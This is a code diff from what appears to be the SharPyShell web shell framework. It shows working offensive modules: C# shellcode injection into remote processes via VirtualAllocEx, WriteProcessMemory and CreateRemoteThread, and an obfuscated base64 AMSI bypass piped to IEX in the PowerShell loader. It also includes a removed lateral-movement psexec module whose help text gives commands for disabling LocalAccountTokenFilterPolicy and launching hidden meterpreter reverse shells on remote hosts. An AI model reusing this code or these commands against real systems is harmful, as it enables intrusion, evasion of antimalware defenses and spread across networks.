using System.Runtime.InteropServices; using System.IO.Compression;
|
||||||
|
|
||||||
|
public class SharPyShell
|
||||||
|
{
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
static extern bool CloseHandle(IntPtr hObject);
|
||||||
|
|
||||||
|
[DllImport("ntdll.dll", SetLastError = true)]
|
||||||
|
static extern UInt32 NtCreateThreadEx(ref IntPtr hThread,UInt32 DesiredAccess,IntPtr ObjectAttributes,IntPtr ProcessHandle,IntPtr StartAddress,IntPtr lParam,bool CreateSuspended,UInt32 StackZeroBits,UInt32 SizeOfStackCommit,UInt32 SizeOfStackReserve,IntPtr BytesBuffer);
|
||||||
|
|
||||||
|
const uint PAGE_ALIGN = 1024;
|
||||||
|
|
||||||
|
const int PROCESS_CREATE_THREAD = 0x0002;
|
||||||
|
const int PROCESS_QUERY_INFORMATION = 0x0400;
|
||||||
|
const int PROCESS_VM_OPERATION = 0x0008;
|
||||||
|
const int PROCESS_VM_WRITE = 0x0020;
|
||||||
|
const int PROCESS_VM_READ = 0x0010;
|
||||||
|
|
||||||
|
const uint MEM_COMMIT = 0x00001000;
|
||||||
|
const uint MEM_RESERVE = 0x00002000;
|
||||||
|
const uint PAGE_READWRITE = 0x04;
|
||||||
|
const uint PAGE_EXECUTE_READ = 0x20;
|
||||||
|
const uint PAGE_EXECUTE_READWRITE = 0x40;
|
||||||
|
|
||||||
|
const uint WAIT_OBJECT_0 = 0x00000000;
|
||||||
|
|
||||||
|
public string InjectShellcode(byte[] byteArrayCode, byte[] threadParameters, string process, uint threadTimeout, ulong offset)
|
||||||
|
{
|
||||||
|
string output = "";
|
||||||
|
string error_string = "\n\n\t{{{SharPyShellError}}}";
|
||||||
|
int processId=0;
|
||||||
|
Process targetProcess = new Process();
|
||||||
|
IntPtr targetProcessHandle = IntPtr.Zero;
|
||||||
|
IntPtr injectedThreadHandle = IntPtr.Zero;
|
||||||
|
bool usingExistingProcess = false;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if(!Int32.TryParse(process, out processId)){
|
||||||
|
targetProcess = Process.Start(process);
|
||||||
|
processId = targetProcess.Id;
|
||||||
|
output += "\n\n\tStarted process " + process + " with pid " + processId.ToString();
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
targetProcess = Process.GetProcessById(processId);
|
||||||
|
usingExistingProcess = true;
|
||||||
|
output += "\n\n\tTrying to open running process with pid " + processId.ToString();
|
||||||
|
}
|
||||||
|
string processName = targetProcess.ProcessName;
|
||||||
|
string targetProcessPid = processId.ToString();
|
||||||
|
targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId);
|
||||||
|
if(targetProcessHandle == (IntPtr)0){
|
||||||
|
output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error();
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid;
|
||||||
|
|
||||||
|
uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1);
|
||||||
|
if(codeMemorySize %% PAGE_ALIGN != 0)
|
||||||
|
codeMemorySize += PAGE_ALIGN - ((uint)(byteArrayCode.Length+1) %% PAGE_ALIGN);
|
||||||
|
%s
|
||||||
|
|
||||||
|
codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset);
|
||||||
|
if(threadParameters.Length > 0){
|
||||||
|
output += "\n\n\tThread parameters detected. Starting to allocate memory RW ...";
|
||||||
|
uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1);
|
||||||
|
IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
if(threadParametersMemAddress == (IntPtr)0){
|
||||||
|
output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
uint bytesWrittenThreadParams;
|
||||||
|
output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes";
|
||||||
|
if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){
|
||||||
|
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString();
|
||||||
|
if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){
|
||||||
|
output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx...";
|
||||||
|
NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, threadParametersMemAddress, false, 0, 0, 0, IntPtr.Zero);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
output += "\n\n\tUsing CreateRemoteThread...";
|
||||||
|
injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){
|
||||||
|
output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx...";
|
||||||
|
NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
output += "\n\n\tUsing CreateRemoteThread...";
|
||||||
|
injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(injectedThreadHandle == (IntPtr)0){
|
||||||
|
output += error_string + "\n\tError creating remote thread into target process.\n\tRemote Thread creation failed with error code " + Marshal.GetLastWin32Error();
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
output += "\n\n\tRemote Thread started!";
|
||||||
|
if(threadTimeout>0){
|
||||||
|
uint wait_for = WaitForSingleObject(injectedThreadHandle, threadTimeout);
|
||||||
|
if(wait_for == WAIT_OBJECT_0){
|
||||||
|
output += "\n\n\tCode executed and exited correctly";
|
||||||
|
try{
|
||||||
|
Process.GetProcessById(processId);
|
||||||
|
targetProcess.Kill();
|
||||||
|
output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has been killed";
|
||||||
|
}
|
||||||
|
catch{
|
||||||
|
output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has exited";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
output += "\n\n\tRemote Thread Timed Out";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
output += "\n\n\tCode executed left in background as an async thread in the process '" + processName + ".exe' with pid " + targetProcessPid;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
output += error_string + "\n\tException occurred. " + ex.Message;
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
finally{
|
||||||
|
if((int)injectedThreadHandle > 0)
|
||||||
|
CloseHandle(injectedThreadHandle);
|
||||||
|
if((int)targetProcessHandle > 0)
|
||||||
|
CloseHandle(targetProcessHandle);
|
||||||
|
}
|
||||||
|
return output + "\n\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
private byte[] Decompress(byte[] data)
|
||||||
|
{
|
||||||
|
using (MemoryStream compressedStream = new MemoryStream(data))
|
||||||
|
using (GZipStream zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))
|
||||||
|
using (MemoryStream resultStream = new MemoryStream())
|
||||||
|
{
|
||||||
|
byte[] buffer = new byte[16*1024];
|
||||||
|
int read;
|
||||||
|
while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0)
|
||||||
|
{
|
||||||
|
resultStream.Write(buffer, 0, read);
|
||||||
|
}
|
||||||
|
return resultStream.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] ExecRuntime()
|
||||||
|
{
|
||||||
|
string shellcodeBase64 = "%s";
|
||||||
|
byte[] shellcodeCompressed = Convert.FromBase64String(shellcodeBase64);
|
||||||
|
byte[] shellcodeByteArr = Decompress(shellcodeCompressed);
|
||||||
|
byte[] threadParameters = %s;
|
||||||
|
string output_func=InjectShellcode(shellcodeByteArr, threadParameters, @"%s", %s, %s);
|
||||||
|
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
|
||||||
|
return(output_func_byte);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
_runtime_code_virtual = r"""
|
||||||
|
IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
if(codeMemAddress == (IntPtr)0){
|
||||||
|
output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
uint bytesWrittenCode;
|
||||||
|
output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes";
|
||||||
|
if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){
|
||||||
|
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
|
||||||
|
"""
|
||||||
|
|
||||||
|
_runtime_code_virtual_protect = r"""
|
||||||
|
uint codeMemSize = codeMemorySize;
|
||||||
|
IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
if(codeMemAddress == (IntPtr)0){
|
||||||
|
output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
uint bytesWrittenCode;
|
||||||
|
output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes";
|
||||||
|
if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){
|
||||||
|
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
|
||||||
|
uint lpflOldProtect;
|
||||||
|
if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){
|
||||||
|
output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error();
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
output += "\n\n\tChanged allocated memory for code from RW to RX";
|
||||||
|
"""
|
||||||
|
|
||||||
|
_default_injection_type = 'remote_virtual'
|
||||||
|
_default_remote_process = 'cmd.exe'
|
||||||
|
_default_thread_timeout = '0'
|
||||||
|
_default_thread_parameters = '{}'
|
||||||
|
_default_code_offset = '0'
|
||||||
|
|
||||||
|
def _parse_run_args(self, args):
|
||||||
|
if len(args) < 1:
|
||||||
|
raise self._exception_class('#inject_shellcode: Not enough arguments. 1 Argument required.\n')
|
||||||
|
args_parser = {k: v for k, v in enumerate(args)}
|
||||||
|
shellcode_path = args_parser.get(0)
|
||||||
|
injection_type = args_parser.get(1, self._default_injection_type)
|
||||||
|
remote_process = args_parser.get(2, self._default_remote_process)
|
||||||
|
thread_timeout = args_parser.get(3, self._default_thread_timeout)
|
||||||
|
thread_parameters = args_parser.get(4, self._default_thread_parameters)
|
||||||
|
code_offset = args_parser.get(5, self._default_code_offset)
|
||||||
|
return shellcode_path, injection_type, remote_process, thread_timeout, thread_parameters, code_offset
|
||||||
|
|
||||||
|
def _create_request(self, args):
|
||||||
|
shellcode_path, injection_type, remote_process,\
|
||||||
|
thread_timeout, thread_parameters, code_offset = self._parse_run_args(args)
|
||||||
|
base64_compressed_shellcode = gzip_utils.get_compressed_base64_from_file(shellcode_path)
|
||||||
|
if injection_type == 'remote_virtual_protect':
|
||||||
|
runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_shellcode,
|
||||||
|
thread_parameters, remote_process,
|
||||||
|
thread_timeout, code_offset)
|
||||||
|
else:
|
||||||
|
runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_shellcode,
|
||||||
|
thread_parameters, remote_process,
|
||||||
|
thread_timeout, code_offset)
|
||||||
|
return runtime_code
|
||||||
@@ -37,7 +37,9 @@ class Invoke_ps_module(Module):
|
|||||||
#invoke_ps_module PowerUp.ps1 ';Invoke-AllChecks'
|
#invoke_ps_module PowerUp.ps1 ';Invoke-AllChecks'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
_ps_code = ur"""
|
_ps_code = r"""
|
||||||
|
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZj1bUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCdTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLkFtcycrJ2lVdGlscycpOw=="))|IEX;
|
||||||
|
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZi5HZXRGaWVsZCgnYW1zaUluJysnaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJykuU2V0VmFsdWUoJG51bGwsJHRydWUpOw=="))|IEX;
|
||||||
$path_in_module="%s";
|
$path_in_module="%s";
|
||||||
$path_in_app_code="%s";
|
$path_in_app_code="%s";
|
||||||
$key=[System.Text.Encoding]::UTF8.GetBytes('%s');
|
$key=[System.Text.Encoding]::UTF8.GetBytes('%s');
|
||||||
@@ -57,7 +59,9 @@ class Invoke_ps_module(Module):
|
|||||||
Remove-Item -Path $path_in_app_code -Force 2>&1 | Out-Null;
|
Remove-Item -Path $path_in_app_code -Force 2>&1 | Out-Null;
|
||||||
"""
|
"""
|
||||||
|
|
||||||
_ps_code_no_appended_code = ur"""
|
_ps_code_no_appended_code = r"""
|
||||||
|
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZj1bUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCdTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLkFtcycrJ2lVdGlscycpOw==")) | IEX;
|
||||||
|
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZi5HZXRGaWVsZCgnYW1zaUluJysnaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJykuU2V0VmFsdWUoJG51bGwsJHRydWUpOw==")) | IEX;
|
||||||
$path_in="%s";
|
$path_in="%s";
|
||||||
$key=[System.Text.Encoding]::UTF8.GetBytes('%s');
|
$key=[System.Text.Encoding]::UTF8.GetBytes('%s');
|
||||||
$encrypted=[System.IO.File]::ReadAllBytes($path_in);
|
$encrypted=[System.IO.File]::ReadAllBytes($path_in);
|
||||||
@@ -105,8 +109,10 @@ class Invoke_ps_module(Module):
|
|||||||
def _gen_appended_code(self, appended_code):
|
def _gen_appended_code(self, appended_code):
|
||||||
if appended_code == '':
|
if appended_code == '':
|
||||||
return ''
|
return ''
|
||||||
|
if '""' in appended_code:
|
||||||
|
appended_code = appended_code.replace('""', '"')
|
||||||
enc_appended_code_path = config.modules_paths + 'ps_modules/' + random_generator()
|
enc_appended_code_path = config.modules_paths + 'ps_modules/' + random_generator()
|
||||||
byte_arr_app_module_encrypted = bytearray(appended_code)
|
byte_arr_app_module_encrypted = bytearray(appended_code, 'utf-8')
|
||||||
self.__xor_bytearray(byte_arr_app_module_encrypted)
|
self.__xor_bytearray(byte_arr_app_module_encrypted)
|
||||||
with open(enc_appended_code_path, 'wb') as file_handle:
|
with open(enc_appended_code_path, 'wb') as file_handle:
|
||||||
file_handle.write(byte_arr_app_module_encrypted)
|
file_handle.write(byte_arr_app_module_encrypted)
|
||||||
@@ -125,12 +131,12 @@ class Invoke_ps_module(Module):
|
|||||||
encrypted_module_path = self._module_settings[ps_module]
|
encrypted_module_path = self._module_settings[ps_module]
|
||||||
else:
|
else:
|
||||||
local_encrypted_module_path = self._gen_encrypted_module(ps_module)
|
local_encrypted_module_path = self._gen_encrypted_module(ps_module)
|
||||||
print '\n\n\nUploading encrypted ps module....\n'
|
print ('\n\n\nUploading encrypted ps module....\n')
|
||||||
try:
|
try:
|
||||||
encrypted_module_path = self._module_settings['env_directory'] + '\\' + random_generator()
|
encrypted_module_path = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||||
upload_response = self._parse_response(self.upload_module_object.run([local_encrypted_module_path,
|
upload_response = self._parse_response(self.upload_module_object.run([local_encrypted_module_path,
|
||||||
encrypted_module_path]))
|
encrypted_module_path]))
|
||||||
print upload_response
|
print (upload_response)
|
||||||
self._module_settings[ps_module] = encrypted_module_path
|
self._module_settings[ps_module] = encrypted_module_path
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
raise self._exception_class(str(exc))
|
raise self._exception_class(str(exc))
|
||||||
|
|||||||
@@ -1,365 +0,0 @@
|
|||||||
from core import config
|
|
||||||
from core.Module import Module, ModuleException
|
|
||||||
from modules.upload import Upload
|
|
||||||
from utils.random_string import random_generator
|
|
||||||
import traceback
|
|
||||||
|
|
||||||
|
|
||||||
class LateralPsexecModuleException(ModuleException):
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
class Lateral_psexec(Module):
|
|
||||||
_exception_class = LateralPsexecModuleException
|
|
||||||
short_help = "Run psexec binary to move laterally"
|
|
||||||
complete_help = r"""
|
|
||||||
This module upload and run the psexec binary in order to launch commands on a remote windows system.
|
|
||||||
This will result in a lateral movement if shared credentials are known.
|
|
||||||
|
|
||||||
Note that if you use local users credentials you should ensure that, on the target server, the feature
|
|
||||||
"LocalAccountTokenFilterPolicy" is disabled.
|
|
||||||
To disable that you need to add the following regkey with the value of 1:
|
|
||||||
|
|
||||||
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy
|
|
||||||
|
|
||||||
example command:
|
|
||||||
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
|
|
||||||
|
|
||||||
If you use domain users for the lateral movement, no restrictions to the process token will be applied.
|
|
||||||
|
|
||||||
This module should be run from a privileged user.
|
|
||||||
If the application pool within the web application you are interacting with is run with application pool
|
|
||||||
identity account or any limited account you won't be able to move laterally to other systems
|
|
||||||
due to restrictions applied to the user.
|
|
||||||
In those cases, you need to use different credentials of a more privileged user in order to launch this module.
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
#lateral_psexec target_ip username password command [local_user] [local_password] [local_domain]
|
|
||||||
|
|
||||||
Positional arguments:
|
|
||||||
target_ip the ip of the remote server
|
|
||||||
username username of the user to use to login on the target server
|
|
||||||
you can specify domain\username if user is in a domain
|
|
||||||
password password of the user to use to login on the target server
|
|
||||||
command a command compatible by cmd.exe
|
|
||||||
[runas_system] if set to 'true', it will try to run psexec as system on the target remote server
|
|
||||||
Default: 'false'
|
|
||||||
[local_user] the username of a local user with privileged rights
|
|
||||||
[local_password] the password of a local user with privileged rights
|
|
||||||
[local_domain] the domain of a local user with privileged rights
|
|
||||||
|
|
||||||
Examples:
|
|
||||||
Lateral movement as privileged current application pool user, output to local shared resource:
|
|
||||||
#lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192.168.56.101\everyone\output.txt'
|
|
||||||
Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd):
|
|
||||||
#lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'local_privileged_user1' 'local_privileged_password1'
|
|
||||||
Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd):
|
|
||||||
#lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
|
|
||||||
Lateral movement as privileged domain user and as SYSTEM on remote machine using meterpreter http reverse shell (format psh-cmd):
|
|
||||||
#lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'true' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
|
|
||||||
|
|
||||||
"""
|
|
||||||
|
|
||||||
_runtime_code = ur"""
|
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
|
||||||
public class SharPyShell
|
|
||||||
{
|
|
||||||
string LateralPsexec(string psexec_path, string arg, string working_path)
|
|
||||||
{
|
|
||||||
ProcessStartInfo pinfo = new ProcessStartInfo();
|
|
||||||
pinfo.FileName = psexec_path;
|
|
||||||
pinfo.Arguments = arg;
|
|
||||||
pinfo.RedirectStandardOutput = true;
|
|
||||||
pinfo.RedirectStandardError = true;
|
|
||||||
pinfo.UseShellExecute = false;
|
|
||||||
pinfo.WorkingDirectory = working_path;
|
|
||||||
Process p = new Process();
|
|
||||||
try{
|
|
||||||
p = Process.Start(pinfo);
|
|
||||||
}
|
|
||||||
catch (Exception e){
|
|
||||||
return "{{{SharPyShellError}}}\n" + e;
|
|
||||||
}
|
|
||||||
StreamReader stmrdr_output = p.StandardOutput;
|
|
||||||
StreamReader stmrdr_errors = p.StandardError;
|
|
||||||
string output = "";
|
|
||||||
string stand_out = stmrdr_output.ReadToEnd();
|
|
||||||
string stand_errors = stmrdr_errors.ReadToEnd();
|
|
||||||
stmrdr_output.Close();
|
|
||||||
stmrdr_errors.Close();
|
|
||||||
if (!String.IsNullOrEmpty(stand_out))
|
|
||||||
output = output + stand_out;
|
|
||||||
if (!String.IsNullOrEmpty(stand_errors))
|
|
||||||
output = output + "\n\n" + stand_errors + "\n";
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] ExecRuntime()
|
|
||||||
{
|
|
||||||
string output_func=LateralPsexec(@"%s", @"%s", @"%s");
|
|
||||||
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
|
|
||||||
return(output_func_byte);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
"""
|
|
||||||
|
|
||||||
_runtime_code_runas = ur"""
|
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
|
||||||
using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
|
|
||||||
|
|
||||||
public class SharPyShell
|
|
||||||
{
|
|
||||||
public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
|
|
||||||
{
|
|
||||||
private SafeTokenHandle()
|
|
||||||
: base(true)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
[DllImport("kernel32.dll")]
|
|
||||||
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
|
|
||||||
[SuppressUnmanagedCodeSecurity]
|
|
||||||
[return: MarshalAs(UnmanagedType.Bool)]
|
|
||||||
private static extern bool CloseHandle(IntPtr handle);
|
|
||||||
|
|
||||||
protected override bool ReleaseHandle()
|
|
||||||
{
|
|
||||||
return CloseHandle(handle);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
|
|
||||||
{
|
|
||||||
public int cb;
|
|
||||||
public String lpReserved;
|
|
||||||
public String lpDesktop;
|
|
||||||
public String lpTitle;
|
|
||||||
public uint dwX;
|
|
||||||
public uint dwY;
|
|
||||||
public uint dwXSize;
|
|
||||||
public uint dwYSize;
|
|
||||||
public uint dwXCountChars;
|
|
||||||
public uint dwYCountChars;
|
|
||||||
public uint dwFillAttribute;
|
|
||||||
public uint dwFlags;
|
|
||||||
public short wShowWindow;
|
|
||||||
public short cbReserved2;
|
|
||||||
public IntPtr lpReserved2;
|
|
||||||
public IntPtr hStdInput;
|
|
||||||
public IntPtr hStdOutput;
|
|
||||||
public IntPtr hStdError;
|
|
||||||
}
|
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
|
|
||||||
{
|
|
||||||
public IntPtr hProcess;
|
|
||||||
public IntPtr hThread;
|
|
||||||
public uint dwProcessId;
|
|
||||||
public uint dwThreadId;
|
|
||||||
}
|
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
|
|
||||||
{
|
|
||||||
public int Length;
|
|
||||||
public IntPtr lpSecurityDescriptor;
|
|
||||||
public bool bInheritHandle;
|
|
||||||
}
|
|
||||||
|
|
||||||
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
|
|
||||||
public static extern bool CloseHandle(IntPtr handle);
|
|
||||||
|
|
||||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
|
||||||
public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
|
|
||||||
|
|
||||||
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
|
|
||||||
public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
|
||||||
|
|
||||||
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
|
|
||||||
public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
|
|
||||||
|
|
||||||
[DllImport("kernel32.dll", SetLastError=true)]
|
|
||||||
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
|
||||||
|
|
||||||
const uint WAIT_ABANDONED = 0x00000080;
|
|
||||||
const uint WAIT_OBJECT_0 = 0x00000000;
|
|
||||||
const uint WAIT_TIMEOUT = 0x00000102;
|
|
||||||
|
|
||||||
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
|
|
||||||
public string LateralPsexecRunas(string psexec_path, string userName, string password, string domainName, string psexec_arguments, string stdout_file, string stderr_file, string working_directory)
|
|
||||||
{
|
|
||||||
SafeTokenHandle safeTokenHandle;
|
|
||||||
int logon_type = 4;
|
|
||||||
uint process_ms_timeout = 60000;
|
|
||||||
string output = "";
|
|
||||||
string error_string = "{{{SharPyShellError}}}";
|
|
||||||
try
|
|
||||||
{
|
|
||||||
const int LOGON32_PROVIDER_DEFAULT = 0;
|
|
||||||
const int LOGON32_PROVIDER_WINNT35 = 1;
|
|
||||||
const int LOGON32_PROVIDER_WINNT40 = 2;
|
|
||||||
const int LOGON32_PROVIDER_WINNT50 = 3;
|
|
||||||
bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
|
|
||||||
if (false == returnValue)
|
|
||||||
{
|
|
||||||
